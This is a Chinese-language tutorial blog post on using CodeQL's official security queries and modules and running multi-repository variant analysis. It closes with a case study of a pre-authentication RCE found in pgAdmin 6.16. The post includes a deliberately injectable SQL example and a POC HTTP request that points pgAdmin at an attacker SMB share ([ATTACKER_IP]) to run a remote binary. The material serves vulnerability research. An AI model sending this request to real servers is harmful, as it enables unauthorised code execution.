CodeQL 学习笔记【9】扩展用法: 使用 CodeQL 扫描代码库

使用官方库进行扫描

前面几章我们尝试进行自己写 CodeQL 的查询代码,然后再 VSCode 中进行了查询,但是这些编写的查询代码都是学习性质的代码,没有实战功能。那么如果我真的要用 CodeQL 来扫描我的代码查找漏洞,该如何做呢?

CodeQL 官方其实为每种语言都写好了很多的预设查询代码,java 语言的 CodeQL 预设代码的位置是:CodeQL-SDK(我的SDK安装目录名称)/java/ql/src/Security/CWE/各个漏洞文件夹

我们只需要在配置好代码数据仓库的情况下(前几章里有写如何配置扫描环境),在某个你想要使用的文件夹上右键,然后选择 Run Queries in Selected Files

假设我要对我正在测试的 webGogoat 代码扫描 不正确的输入验证(CWE-020),那么只需要在 CWE-020 文件夹上右键,然后扫描即可。

其他语言的扫描方法是同样的。

官方模块

有的时候我们要跟踪一个漏洞,这个漏洞的 source 和 sink 都不是某一个特定的函数。这里拿 sql 注入举个例子。

js 复制代码
def show_user(): 
    username = request.args.get("username") 
    with connection.cursor() as cursor: 
        cursor.execute("SELECT * FROM users WHERE username = '%s'" % username)

这里的 sourceget 请求中的 username 参数,sinkexecute() 函数,但是仔细想一想,source 还有 post 请求、path 参数、请求头参数、甚至文件上传参数等等。 sink 还有 executemany()executescript() 等等。

其实 CodeQL 官方早就写好了很多模块,已经将这些 source 和 sink 都抽象出来了。例如:RemoteFlowSource 就包含了GET 参数、POST 表单数据、JSON 数据、Cookie 数据、HTTP 头等来自远程不可信源的数据。

还有各种框架的特殊定义例如 Flask 框架的 FlaskRequestSource 模块都包含了 Flask 特有的请求来源。具体包含了哪些可以在各个语言和框架的 qll 文件里去看codeql/python/ql/lib/semmle/python/frameworks/Flask.qll

同样的 sink 也有各种类型的 sink 模块,比如 SQL 注入的抽象 SqlExecution

多代码仓库变体扫描 Multi-repository variant analysis (MRVA)

MRVA 是一个可以同时对多个项目运行 CodeQL 查询的工具,例如同时扫描一千个项目,一百个项目等等。

比如你编写了一个很新颖的扫描代码,现在想要扫描很多的仓库,比如最流行的 java 仓库 top 1000,你不太可能一个一个下载到你的电脑,然后编译代码数据仓库,然后执行扫描吧,:)

MRVA 预设了 GitHub 上任何语言的前 10、100 和 Top 1000 项目列表,但你也可以添加自己的项目列表。MRVA 允许你利用 GitHub 的代码搜索功能创建自己的项目列表。

GitHub 为数千个公共仓库的默认分支创建并编译存储好了最新的 CodeQL 数据库,就省下了你编译的步骤,你可以直接在 Visual Studio Code 上对 GitHub 上最多 1,000 个仓库的代码库直接运行 CodeQL 查询。

运行 MRVA 时,分析完全通过 GitHub Actions 完成。你不需要创建任何工作流,但必须指定 CodeQL for Visual Studio Code 扩展应该使用哪个仓库作为控制器仓库。每个仓库的分析完成后,结果会发送到 VS Code 供您查看。

CodeQL for Visual Studio Code 扩展会构建一个 CodeQL 包。CodeQL 包和你选定的仓库列表会发布到 GitHub 上的 API 端点,触发你的控制器仓库中的 GitHub Actions 动态工作流。该工作流启动多个并行作业,针对列表中的仓库执行 CodeQL 查询,优化查询执行。在分析每个存储库时,结果会被处理并以 VS Code 显示。

准备工作:

  1. 你必须先在 Github 上定义控制器仓库,才能进行首次多仓库变体分析。
  2. 控制器仓库可以是空的,但必须至少有一个提交。
  3. GitHub.com 上,如果你只打算分析公共仓库,控制器仓库的可视化可以设置为"公开"。变异分析将免费。
  4. 如果你需要分析 GitHub.com 上的任何私有或内部仓库,控制器仓库的可见性必须是"私有"的。

进行分析:

  1. 在"变体分析仓库"视图中,点击设置控制器仓库 以显示控制器仓库字段。
  2. 输入你想用作控制器仓库的仓库名称,格式是<owner>/<repo>,然后按回车键。
  3. 如果提示你通过 GitHub 认证,请按照说明登录你的账户。完成后,GitHub 认证可能会提示在 Visual Studio Code 中请求打开权限,点击 "打开 "。

默认情况下,"变异分析仓库"视图显示的是你正在分析的语言中 GitHub.com 上前 10、前 100 和前 1000 公共仓库的默认列表。

你可以添加新的仓库、组织或列表:在"变异分析仓库"视图中,点击 + 键添加新数据库;在下拉菜单中,选择 "从 GitHub 仓库" 或"GitHub org 或 owner 的所有仓库 ";在字段中输入你想使用的仓库或组织的标识符。

打开你想运行的查询,在查询文件中右键点击,选择 CodeQL:运行变异分析以开始变异分析。

一旦运行 GitHub 上的变异分析工作流程,就会打开一个"变异分析结果"视图,显示结果准备好。你可以用这个视图监控进度,查看任何错误,并访问控制器仓库中的工作流程日志。

案例:20 分钟内完成 CodeQL 预授权 RCE

博主扫描的代码库是服务器部署版的 pgAdmin:pgAdmin 是 PostgreSQL 最受欢迎且功能丰富的开源管理和开发平台 版本是:pgAdmin 的最新版本 6.16(漏洞发现时)

下载代码、下载 CodeQL 、编译数据库等就不细说了,前面几章已经展示过了。

准备工作做好后,作者直接运行了 codeql/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql 这个查询。

作者毕竟功力深厚,眼光毒辣,他看到第 11 行的 subprocess.getoutput() 后直接点开这一条,开始查看:

然后看了一下 sink 所在的函数的代码:

而且作者知道 Flask 框架是使用 @login_required 注释来控制接口是否需要登陆,这里很明显不需要登陆,是个未授权访问。

经过作者研究发现,这个命令执行虽然不能完全控制整个命令,但是可以控制一部分,而且可以尝试使用 UNC 路径连接到远程共享来触发漏洞。 作者现在自己的 Linux 上搭建一个 SMB 服务器,然后发送下面的 POC:

虽然不需要登陆,但是你必须先从 /、/login 或 /browser 访问 Cookie 和 CSRF 令牌。

js 复制代码
POST /misc/validate_binary_path HTTP/1.1
Host: 
Cookie: [可用cookie]
X-pgA-CSRFToken: [可用Token]
Connection: close
Referer: https://[TARGETHOST]/browser/
Content-Length: [n]
Content-Type: application/json
{"utility_path":"\\[ATTACKER_IP]\[PREFERED_SHARE_NAME]"}

发射负载后,攻击者机器上有 SMB 连接进入,正在获取文件 pg_dump.exe:实现预授权 RCE。

相关推荐
三秋树2 小时前
CodeQL 学习笔记【10】调试 CodeQL
安全·黑客·测试
三秋树2 小时前
Fastjson RCE 复现 【01】1.2.24 版本利用及原理分析
安全·黑客·测试
烛衔溟2 小时前
TypeScript 特殊类型与空值安全
安全·typescript·前端开发·空值处理
EasyDSS3 小时前
企业级私有化部署视频直播点播平台EasyDSS如何构建企业远程会议安全防线
安全·音视频
dgw26486338093 小时前
深信服数据传输安全-NPN-(1)
安全
2401_832298103 小时前
OpenClaw 3.28 终章:从 “激进重构” 到 “稳健治理”,AI 智能体安全与体验的平衡之道
人工智能·安全·重构
EasyGBS3 小时前
国标GB28181视频分析平台EasyGBS视频质量诊断助力能源矿山行业实现安全高效管控体系
安全·音视频·能源
她说..3 小时前
Spring单例Bean线程安全问题 深度解析
java·后端·安全·spring·springboot
桌面运维家4 小时前
Windows防火墙高级配置:网络安全深度优化
windows·安全·web安全